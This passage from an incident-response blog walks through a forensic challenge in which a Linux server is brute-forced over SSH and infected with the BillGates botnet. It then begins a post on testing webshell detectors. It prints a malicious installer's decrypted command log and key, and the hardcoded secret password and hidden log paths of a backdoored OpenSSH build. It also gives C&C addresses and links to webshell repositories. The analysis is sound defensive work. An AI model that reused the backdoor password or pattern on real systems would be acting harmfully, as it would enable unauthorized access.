</span><span class='line'>[pid 38792] fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
</span><span class='line'>[pid 38792] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f370a63a000
</span><span class='line'>[pid 38792] lseek(0, 0, SEEK_CUR)       = -1 ESPIPE (Illegal seek)
</span><span class='line'>[pid 38792] write(0, "./install: Operation not permitt"..., 35./install: Operation not permitted
</span><span class='line'>) = 35
</span><span class='line'>[pid 38792] close(0)                    = 0
</span><span class='line'>[pid 38792] munmap(0x7f370a63a000, 4096) = 0
</span><span class='line'>[pid 38792] kill(38791, SIGKILL)        = 0
</span><span class='line'>[pid 38792] exit_group(0)               = ?
</span><span class='line'>Process 38791 resumed
</span><span class='line'>Process 38792 detached</span></code></pre></td></tr></table></div></figure>


<p>When I placed the file in a separate directory (so it did not &lsquo;see&rsquo; <em>ooz.tgz</em>) and executed it, I noticed some strange output - like it was trying to spawn system commands:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># ./install 
</span><span class='line'>dd: opening `ooz.tgz': No such file or directory
</span><span class='line'>error reading input file
</span><span class='line'>
</span><span class='line'>gzip: stdin: unexpected end of file
</span><span class='line'>tar: Child returned status 1
</span><span class='line'>tar: Error is not recoverable: exiting now
</span><span class='line'>tar (child): jack.tgz: Cannot open: No such file or directory
</span><span class='line'>tar (child): Error is not recoverable: exiting now
</span><span class='line'>tar: Child returned status 2
</span><span class='line'>tar: Error is not recoverable: exiting now
</span><span class='line'>tar (child): openssl-1.0.0e.tar.gz: Cannot open: No such file or directory
</span><span class='line'>tar (child): Error is not recoverable: exiting now
</span><span class='line'>tar: Child returned status 2
</span><span class='line'>tar: Error is not recoverable: exiting now
</span><span class='line'>./install: 11: cd: can't cd to openssl-1.0.0e
</span><span class='line'>(...)</span></code></pre></td></tr></table></div></figure>


<p>If my suspicion was correct, the program was deobfuscating strings during runtime and then passing them as arguments to <em>execvp()</em> function (which was visible when I opened the binary in IDA). I needed a way to get insight into what exactly is passed to <em>execvp()</em> calls without actually attaching debugger to the process.</p>

<p>After short research I found <a href="https://github.com/a2o/snoopy">snoopy</a> which seemed to do exactly what I needed. After enabling Snoopy and running <em>install</em> binary again I found following entries in a log file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>snoopy[47478]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:./install]: ./install 
</span><span class='line'>snoopy[47483]: [uid:0 sid:6645 tty: cwd:/tmp filename:/bin/tar]: tar zxf - 
</span><span class='line'>snoopy[47482]: [uid:0 sid:6645 tty: cwd:/tmp filename:/usr/bin/openssl]: openssl des3 -d -k buWwe9ei2fiNIewOhiuDi 
</span><span class='line'>snoopy[47481]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/dd]: dd if=ooz.tgz 
</span><span class='line'>snoopy[47486]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/tar]: tar zxvf jack.tgz 
</span><span class='line'>snoopy[47488]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/rm]: rm -rf jack.tgz 
</span><span class='line'>snoopy[47489]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/rm]: rm -rf ooz.tgz 
</span><span class='line'>snoopy[47490]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/tar]: tar xzvf openssl-1.0.0e.tar.gz 
</span><span class='line'>snoopy[47492]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:./config]: ./config --prefix=/usr/local/openssl 
</span><span class='line'>snoopy[47493]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/usr/bin/make]: make 
</span><span class='line'>snoopy[47494]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/usr/bin/make]: make install 
</span><span class='line'>snoopy[47495]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:/bin/ln]: ln -s openssl ssl 
</span><span class='line'>snoopy[47496]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:/sbin/ldconfig]: ldconfig 
</span><span class='line'>snoopy[47497]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:/usr/bin/ldd]: ldd /usr/local/openssl/bin/openssl 
</span><span class='line'>snoopy[47499]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/rm]: rm -rf openssl-1.0.0e* 
</span><span class='line'>snoopy[47500]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/tar]: tar xzvf zlib-1.2.3.tar.gz 
</span><span class='line'>snoopy[47502]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/usr/bin/make]: make clean 
</span><span class='line'>snoopy[47503]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/usr/bin/make]: make 
</span><span class='line'>snoopy[47504]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:/bin/rm]: rm -rf zlib-1.2.3* 
</span><span class='line'>snoopy[47505]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:/bin/tar]: tar zxvf openssh-5.9p1.tgz 
</span><span class='line'>snoopy[47507]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:./configure]: ./configure --prefix=/usr --sysconfdir=/etc/ssh 
</span><span class='line'>snoopy[47508]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:/usr/bin/make]: make 
</span><span class='line'>snoopy[47509]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/usr/local filename:/etc/init.d/sshd]: /etc/init.d/sshd restart 
</span><span class='line'>snoopy[47510]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/rm]: rm -rf openssh* 
</span><span class='line'>snoopy[47511]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/rm]: rm -rf jack* 
</span><span class='line'>snoopy[47512]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/rm]: rm -rf install.sh 
</span><span class='line'>snoopy[47513]: [uid:0 sid:6645 tty:/dev/pts/0 cwd:/tmp filename:/bin/rm]: rm -rf /tmp/.tmp123</span></code></pre></td></tr></table></div></figure>


<p>Bingo! It looked like the binary was decrypting <em>ooz.tgz</em> file with the DES3 key <code>buWwe9ei2fiNIewOhiuDi</code>, decompressing the archive and then compiling OpenSSL and OpenSSH from resulting source code. That definitely looked suspicious!</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ openssl des3 -d -k buWwe9ei2fiNIewOhiuDi -in ooz.tgz -out ooz_decrypted.tgz
</span><span class='line'>$ file ooz_decrypted.tgz 
</span><span class='line'>ooz_decrypted.tgz: gzip compressed data, from Unix, last modified: Tue Jun 23 12:41:38 2015
</span><span class='line'>$ tar -tvf ooz_decrypted.tgz 
</span><span class='line'>-rw-r--r-- root/root   5671346 2015-06-23 11:52 jack.tgz</span></code></pre></td></tr></table></div></figure>


<p>The decrypted file contained yet another archive <em>jack.tgz</em> which in turn contained source code archives for OpenSSL, OpenSSH and zlib.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$  file jack.tgz 
</span><span class='line'>jack.tgz: gzip compressed data, from Unix, last modified: Tue Jun 23 11:52:50 2015
</span><span class='line'>$ tar -tvf jack.tgz 
</span><span class='line'>-rw-r--r-- root/root   1155501 2015-06-23 11:49 openssh-5.9p1.tgz
</span><span class='line'>-rw-r--r-- root/root   4040229 2015-06-18 10:06 openssl-1.0.0e.tar.gz
</span><span class='line'>-rw-r--r-- root/root    496597 2015-06-18 10:06 zlib-1.2.3.tar.gz</span></code></pre></td></tr></table></div></figure>


<p>I assumed that the final goal of the <em>install</em> binary was to install a modified version of OpenSSH and proceeded to closer inspection of the OpenSSH archive.</p>

<p>The great thing about <em>tar</em> archives is that by default they preserve some metadata about the archived files, including file ownership and modification timestamp. I skimmed through output of <em>ls -lR</em> command and it did not took long to notice that small part of the files from the extracted archive <em>openssh-5.9p1.tgz</em> had different owner (<em>root</em>) and much later modification time than the rest:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ ls -lR | grep root
</span><span class='line'>-rw-r--r-- 1 root root     17944 Jun 23  2015 auth.c
</span><span class='line'>-rw-r--r-- 1 root root     31711 Jun 23  2015 auth-pam.c
</span><span class='line'>-rw-r--r-- 1 root root      6525 Jun 23  2015 auth-passwd.c
</span><span class='line'>-rw-r--r-- 1 root root     11347 Jun 23  2015 canohost.c
</span><span class='line'>-rw-r--r-- 1 root root      4088 Jun 23  2015 includes.h
</span><span class='line'>-rw-r--r-- 1 root root     10035 Jun 23  2015 log.c
</span><span class='line'>-rw-r--r-- 1 root root     54168 Jun 23  2015 servconf.c
</span><span class='line'>-rw-r--r-- 1 root root      6623 Jun 23  2015 sshbd5.9p1.diff
</span><span class='line'>-rw-r--r-- 1 root root     51056 Jun 23  2015 sshconnect2.c
</span><span class='line'>-rw-r--r-- 1 root root      5291 Jun 23  2015 sshlogin.c
</span><span class='line'>-rw-r--r-- 1 root root       172 Jun 23  2015 version.h</span></code></pre></td></tr></table></div></figure>


<p>As far as I could tell all modifications were consistent with OpenSSH backdooring article presented in <a href="http://ezine.echo.or.id/ezine24/24_Develeping-Openssh-Backdoor-for-Fun-and-Shut.txt">this e-zine</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="err">$</span> <span class="n">grep</span> <span class="o">-</span><span class="n">A4</span> <span class="n">secret_ok</span> <span class="n">includes</span><span class="p">.</span><span class="n">h</span>
</span><span class='line'><span class="kt">int</span> <span class="n">secret_ok</span><span class="p">;</span>
</span><span class='line'><span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span><span class="p">;</span>
</span><span class='line'><span class="cp">#define ILOG &quot;/bin/.ilog&quot;</span>
</span><span class='line'><span class="cp">#define OLOG &quot;/bin/.olog&quot;</span>
</span><span class='line'><span class="cp">#define SECRETPW &quot;lihao023..&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>I stopped analysis of the <em>or.bin</em> file at this stage. With the new lead I kept a mental note to check the PCAP for (suspicious) SSH connections later on.</p>

<h3>DNS Analysis</h3>

<p>My primary goal here was to check if PCAP contained any DNS queries for malware C&amp;C domains identified earlier. I thought it would be a good indicator that malware was executed on a compromised server. Instead of checking each domain one by one I decided to export all DNS queries and responses from the PCAP and add them to my spreadsheet:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>tshark  -n -r NetChallenge_Linux.pcap -Y <span class="s2">&quot;dns and not icmp&quot;</span> -T fields -e _ws.col.Time -e ip.src -e ip.dst -e dns.flags.response -e dns.qry.name -e dns.a  -E <span class="nv">header</span><span class="o">=</span>y -E <span class="nv">separator</span><span class="o">=</span>, &gt; dns.csv
</span></code></pre></td></tr></table></div></figure>


<p>I was not really surprised when I saw that first DNS query recorded in the PCAP was for one of known domains <em>top.t7ux.com</em>:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/13_dns.png" title="Excel - DNS traffic" alt="Excel - DNS traffic"></p>

<p>As I was able to easily filter my results I immediately knew that the domain resolved to two different IP addresses:</p>

<ul>
<li><em>118.192.137.245</em> (until 2016-09-08 10:39:57Z)</li>
<li><em>222.174.168.234</em> (starting at 2016-09-08 10:18:13Z)</li>
</ul>


<p>I noted the following timestamp: 2016-09-07 22:19:03Z as an approximate time when malware was executed on a compromised system. I did not have any hard proofs but it was a good start.</p>

<p>I also briefly reviewed other DNS queries sent by the compromised server, but I did not find anything else worth digging in. There was just this one strange query sent at 2016-09-07 23:53:44Z:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/14_wireshark_dns.png" title="Wireshark - DNS query" alt="Wireshark - DNS query"></p>

<p>Was it possibly an attacker and his fat fingers mistyping something like <em>host <domain> -l</em> in a console window?</p>

<h3>C&amp;C Traffic Analysis</h3>

<p>Getting actual C&amp;C traffic was easy as I already knew IP addresses, protocols and ports used by malware. I decided to export each C&amp;C packet to be able to see any changes in beaconing pattern. Initially I filtered out all retransmitted packets for better visibility.</p>

<p>I used the following tshark options to export all C&amp;C traffic to a CSV file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>tshark -n -r NetChallenge_Linux.pcap -Y <span class="s2">&quot;(ip.addr==118.192.137.245 or ip.addr==222.174.168.234) and not icmp and not tcp.analysis.retransmission&quot;</span> -T fields -e _ws.col.Time -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e tcp.len -e data -E <span class="nv">header</span><span class="o">=</span>y -E <span class="nv">separator</span><span class="o">=</span>, &gt; gates.csv
</span></code></pre></td></tr></table></div></figure>


<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/15_gates_c2.png" title="Excel - BillGates traffic" alt="Excel - BillGates traffic"></p>

<p>When I was analyzing the beaconing pattern, I noticed that for the first ~12 hours malware sent 45 identical messages, each approximately 15 minutes apart from the previous one. Based on Akamai&rsquo;s <a href="https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf">write-up</a> I was able to extract following information from captured messages:</p>

<ul>
<li>IP address of the infected machine: 0x68ecd261 (1760350817) => <em>104.236.210.97</em></li>
<li>DNS addresses: 0x68ecd261 (1760350817) => <em>104.236.210.97</em></li>
<li>Number of CPUs: 1</li>
<li>CPU MHz: 0x95f (2399)</li>
<li>Total memory: 0x1e8 (488)</li>
<li>Kernel name and version: <em>Linux 4.4.0-36-generic</em></li>
<li>Malware version: 1:G2.40</li>
</ul>


<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/16_gates_beacon.png" title="Wireshark - BillGates packet" alt="Wireshark - BillGates packet"></p>

<p>There were no responses from any of C&amp;C servers until 2016-09-09 13:46:05Z when <em>222.174.168.234</em> sent 18 messages containing following data <code>0400000000000000</code> in one second intervals.</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/17_gates_04.png" title="Wireshark - BillGates packets" alt="Wireshark - BillGates packets"></p>

<p>But here is the problem - only by accident I noticed that there was some additional data exchanged between compromised system and C&amp;C that I missed due to display filter I used to export data with tshark. Wireshark also did not show that data in the &ldquo;Follow TCP Stream&rdquo; windows as it was not able to correctly reconstruct entire conversation.</p>

<p>The exchanged data turned out be be crucial for further investigation. For every <code>0400000000000000</code> message sent by C&amp;C there was a response packet from the compromised host containing what looked like an IP address:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/18_gates_ip_address.png" title="Wireshark - BillGates packet" alt="Wireshark - BillGates packet"></p>

<p>This message exchange resembled what <a href="https://twitter.com/unixfreaxjp">@unixfreakjp</a> named &ldquo;3rd step&rdquo; in his post on <a href="http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3429&amp;hilit=billgates&amp;sid=0373e351de9074fcb3958858ac677789&amp;start=10#p23868">KernelMode.info</a>. Nowhere in the PCAP did I find initial two steps of communication between compromised host and C&amp;C (<em>222.174.168.234</em>).</p>

<p>Yet again I referenced Akamai&rsquo;s write-up and I noticed that responses sent by compromised host to some degree mirrored initial command message sent by C&amp;C (which was missing in the provided PCAP). Based on their analysis it looked like in this case the malware was instructed to perform a DoS attack against IP address <em>23.83.106.115</em> over UDP <a href="http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf">(value 0x20)</a> port 80 (0x50). Nice, one more lead to check!</p>

<h3>UDP Analysis</h3>

<p>I jumped straight into checking if any suspicious UDP traffic was present in the provided packet capture. I used Wireshark and its &ldquo;Statistics -> Conversations&rdquo; menu:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/19_wireshark_udp_conversations.png" title="Wireshark - UDP conversations" alt="Wireshark - UDP conversations"></p>

<p>32038 UDP packets on port 80 sent from <em>104.236.210.97</em> towards <em>23.83.106.115</em>? Well, that was kind of&hellip; expected (I also recalled 32082 <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a> packets listed by tshark in the <a href="#initial_analysis">Protocol summary</a>. As the rest of UDP conversations seemed pretty standard I simply exported all metadata about UDP packets sent to the attacked host:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>tshark  -n -r NetChallenge_Linux.pcap -Y <span class="s2">&quot;ip.addr==23.83.106.115&quot;</span> -T fields -e _ws.col.Time -e ip.src -e ip.dst -e udp.srcport -e udp.dstport -e udp.length  -E <span class="nv">header</span><span class="o">=</span>y -E <span class="nv">separator</span><span class="o">=</span>, &gt; gates_dos.csv
</span></code></pre></td></tr></table></div></figure>


<p>The amount of packets and short interval between them was telling. Compromised host transferred approximately 32 megabytes of data in just half a second. All packets were sourced from UDP port 55198 and were between 965 and 989 bytes long (minus static 8 byte UDP header).</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/20_excel_dos.png" title="&#34;Excel - DoS packets&#34; &#34;Excel - DoS packets" alt="&#34;Excel - DoS packets&#34; &#34;Excel - DoS packets"></p>

<h3>SSH Analysis</h3>

<p>Although at this stage I had good overview of what happened, I was still missing one important piece of the puzzle - initial infection vector. Based on <a href="https://quequero.org/2015/01/ssh-kippo-honeypot-4-months-operation-summary/">couple</a> of <a href="https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf">writeups</a> I knew that actors behind the BillGates botnets very often compromise Linux machines by using SSH and brute forcing <em>root</em> password.</p>

<p>Using my standard &lsquo;per-packet&rsquo; tshark export format was not of much help in this case as I wanted to know length of each session and amount of exchanged data. My initial assumption was that by looking only at these values I&rsquo;ll be able to tell which SSH session was successful (as in: user provided correct username and password and was granted access to console) and which was not (e.g. it was a failed brute-force attempt). I needed to know if there was any successful session established just before suspicious events started occurring on the compromised host or if there were any brute-force attempts.</p>

<p>I quickly tested two scenarios where I connected to my VPS over SSH and captured traffic for both successful logon and failed attempts (3 seems to be a default setting for OpenSSH). Getting a command line prompt needed approximately 8500 bytes to be exchanged between SSH client and server (in ~24 packets). Three consecutive (failed) login attempts generated approximately 6700 bytes (in ~26 packets). These were of course rough estimates and likely were dependent on specific configuration but at least they gave me some idea. I assumed that every SSH conversation with higher number of exchanged data and frames would be indicative of successful user login over SSH protocol.</p>

<p>I used the following command to list all TCP conversations in the challenge PCAP and then filtered out all that were not over port 22:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>tshark -t ud -n -r NetChallenge_Linux.pcap -qz conv,tcp <span class="p">|</span> grep -E <span class="s2">&quot;([0-9]{1,3}[\.:]){4}22\s&quot;</span> <span class="p">|</span> head -10
</span><span class='line'>46.101.128.129:51202       &lt;-&gt; 104.236.210.97:22             <span class="m">4046</span>    <span class="m">679341</span>    <span class="m">4900</span>    <span class="m">399541</span>    <span class="m">8946</span>   <span class="m">1078882</span>  2016-09-07 22:16:07     11158.7515
</span><span class='line'>71.171.119.98:58968        &lt;-&gt; 104.236.210.97:22               <span class="m">97</span>     <span class="m">23286</span>     <span class="m">123</span>     <span class="m">14526</span>     <span class="m">220</span>     <span class="m">37812</span>  2016-09-08 01:22:09        16.5526
</span><span class='line'>46.101.128.129:51201       &lt;-&gt; 104.236.210.97:22               <span class="m">39</span>      <span class="m">6871</span>      <span class="m">40</span>      <span class="m">6137</span>      <span class="m">79</span>     <span class="m">13008</span>  2016-09-07 22:14:48        72.1657
</span><span class='line'>91.224.160.184:54269       &lt;-&gt; 104.236.210.97:22               <span class="m">22</span>      <span class="m">3717</span>      <span class="m">24</span>      <span class="m">3075</span>      <span class="m">46</span>      <span class="m">6792</span>  2016-09-08 02:19:11        14.0569
</span><span class='line'>91.224.160.184:56710       &lt;-&gt; 104.236.210.97:22               <span class="m">22</span>      <span class="m">3717</span>      <span class="m">23</span>      <span class="m">3009</span>      <span class="m">45</span>      <span class="m">6726</span>  2016-09-08 02:18:43        14.4332
</span><span class='line'>91.224.160.184:59887       &lt;-&gt; 104.236.210.97:22               <span class="m">22</span>      <span class="m">3717</span>      <span class="m">23</span>      <span class="m">3009</span>      <span class="m">45</span>      <span class="m">6726</span>  2016-09-08 02:19:31        15.9564
</span><span class='line'>91.224.160.184:33751       &lt;-&gt; 104.236.210.97:22               <span class="m">22</span>      <span class="m">3717</span>      <span class="m">23</span>      <span class="m">3009</span>      <span class="m">45</span>      <span class="m">6726</span>  2016-09-08 02:20:15        14.3399
</span><span class='line'>91.224.160.184:51739       &lt;-&gt; 104.236.210.97:22               <span class="m">22</span>      <span class="m">3717</span>      <span class="m">22</span>      <span class="m">2943</span>      <span class="m">44</span>      <span class="m">6660</span>  2016-09-08 02:19:47        13.5479
</span><span class='line'>91.224.160.184:50516       &lt;-&gt; 104.236.210.97:22               <span class="m">22</span>      <span class="m">3717</span>      <span class="m">21</span>      <span class="m">2877</span>      <span class="m">43</span>      <span class="m">6594</span>  2016-09-08 02:18:58        13.3001
</span><span class='line'>200.27.121.121:11067       &lt;-&gt; 104.236.210.97:22               <span class="m">18</span>      <span class="m">3645</span>      <span class="m">17</span>      <span class="m">2561</span>      <span class="m">35</span>      <span class="m">6206</span>  2016-09-08 01:56:19         6.5652
</span></code></pre></td></tr></table></div></figure>


<p>Based on lengths of sessions and amount of exchanged data I selected two SSH clients: <em>46.101.128.129</em> and <em>71.171.119.98</em>. In case of <em>46.101.128.129</em> both SSH sessions started just before first HFS file download occurred (at 2016-09-07 22:16:16Z). Taking into account timing and lack of any other suspicious connections I assumed it was the attacker that successfully authenticated to the compromised host over SSH. My suspicion was that the initial session was a successful brute-force attempt, while the second session was used to deploy malware and adjust compromised host to attacker&rsquo;s needs. Looking at short time between both sessions and also between subsequent events it was evident that whole process was at least semi-automated. As a side note I need to say that I would restrain from formulating such far-reaching conclusion if it was a real life scenario and I would definitely try to obtain additional evidence!</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/21_excel_ssh.png" title="Excel - SSH sessions" alt="Excel - SSH sessions"></p>

<p>The PCAP did not contain initial handshake for SSH connection from the IP address <em>71.171.119.98</em> and thus I was not able to tell when the session has started (prior or after attacker&rsquo;s activity) and if the session was much longer than 16 seconds reported by Wireshark.</p>

<p>Rest of the SSH connections seemed to be unsuccessful brute force attempts. Most of them were characterized by the use of the libssh library by clients (visible in the initial SSH message from the client), short duration and low number of exchanged data.</p>

<h3>Putting It Together</h3>

<p>Having all the data and findings handy it was just a matter of drafting a final report with answers to challenge questions. As a final step I proceeded with creating a master timeline as a an ultimate source of reference. Not having much time left I did not bother with proper formatting or using any template - I simply thrown all entries into a new Excel sheet and sorted them by timestamp. The story of a breach was immediately apparent:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/22_master_timeline.png" title="Excel - Final timeline" alt="Excel - Final timeline"></p>

<p>That is it! As mentioned in the beginning, the final write-up was posted by <a href="https://twitter.com/tekdefense">@TekDefense</a> on his <a href="http://www.tekdefense.com/news/2016/10/3/network-challenge-001-solution.html">blog</a>. You can also find timeline spreadsheet <a href="http://dfir.it/files/TekDefense_Network_Challenge_001.xlsx">here</a>.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Webshells: Rise of the Defenders (Part 4)]]></title>
    <link href="http://dfir.it/blog/2016/12/07/webshells-rise-of-the-defenders-part-4/"/>
    <updated>2016-12-07T12:36:49+01:00</updated>
    <id>http://dfir.it/blog/2016/12/07/webshells-rise-of-the-defenders-part-4</id>
    <content type="html"><![CDATA[<p>Below post is a continuation of a series dedicated to webshells. In the <a href="http://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/">first part</a> we presented a short introduction to webshells, explaining what they are and what are the most common installation vectors on victim machines. <a href="http://dfir.it/blog/2016/01/18/webshells-every-time-the-same-story-dot-dot-dot-part2/">Second</a> presented a real life intrusion scenario where webshells played a major role. In the <a href="http://dfir.it/blog/2016/07/06/webshells-every-time-the-same-story-dot-dot-dot-part-3/">third part</a> we introduced defence strategies and tested webshell detection tools.</p>

<!--more-->


<p>We are back again with webshell topic as last blog post was warmly welcomed by our readers. At the beginning, I would like to say - sorry for the delay! We received a few messages asking for a continuation of this series. So, here we are, even such a long time in the IT world did not devalue our subject which seems to be still hot, referring to latest <a href="https://www.htbridge.com/news/web-security-trends-of-the-first-half-of-2016.html">web trends</a> or <a href="https://twitter.com/search?q=%23webshell&amp;src=typd">social media discussion</a>. In this blog post I decided to perform more structured tests of several publicly available webshell detection tools.</p>

<h3>Test details - sources</h3>

<p>Some time ago Recorded Future published a great writeup on webshells. Two key takeaways were points discussing high popularity of <a href="https://www.recordedfuture.com/web-shell-analysis-part-1/">webshells amongst Chinese criminals</a> and continual <a href="https://www.recordedfuture.com/web-shell-analysis-part-2/]">development of new samples</a>. It came as no surprise that a large number of samples in my data set seemed to be of Chinese origin.</p>

<p>I used the following, well known webshell repositories to create my own, testing superset:</p>

<ul>
<li><a href="https://github.com/bartblaze/PHP-backdoors">https://github.com/bartblaze/PHP-backdoors</a></li>
<li><a href="https://github.com/JohnTroony/php-webshells">https://github.com/JohnTroony/php-webshells</a></li>
<li><a href="https://github.com/BDLeet/public-shell">https://github.com/BDLeet/public-shell</a></li>
<li><a href="https://github.com/tennc/webshell">https://github.com/tennc/webshell</a></li>
<li><a href="http://www.irongeek.com/i.php?page=webshells-and-rfis">http://www.irongeek.com/i.php?page=webshells-and-rfis</a></li>
<li><a href="https://github.com/epinna/weevely3">https://github.com/epinna/weevely3</a></li>
<li><a href="https://github.com/wireghoul/htshells">https://github.com/wireghoul/htshells</a></li>
</ul>


<p>A few comments are needed here. First three repos are a great collection of webshells, mostly written in PHP. I needed to clean-up the tennc repository a little bit by eliminating webshells that I was not interested in, and removing unrelated files like images, readme files etc. Stuff from <a href="http://www.irongeek.com">irongeek.com</a> was something that I found accidentally but I really liked it and decided to include five most recently added files in this research. <em>Weevely</em> (version 3.4) is a well-known webshell generation framework, that is also part of <em>Kali Linux</em>. As webshell agent code is polymorphic, I decided to generate fifty different samples to ensure good test coverage. Last, but not least, htshells had its own <a href="http://kwepik9.blogspot.com/2013/11/htshells.html">15 minutes of fame</a> about 3-4 years ago, although old-fashioned, it is still relevant nowadays. Just think, when was the last time you saw <code>AllowOverride ALL</code>? There are still many admins <a 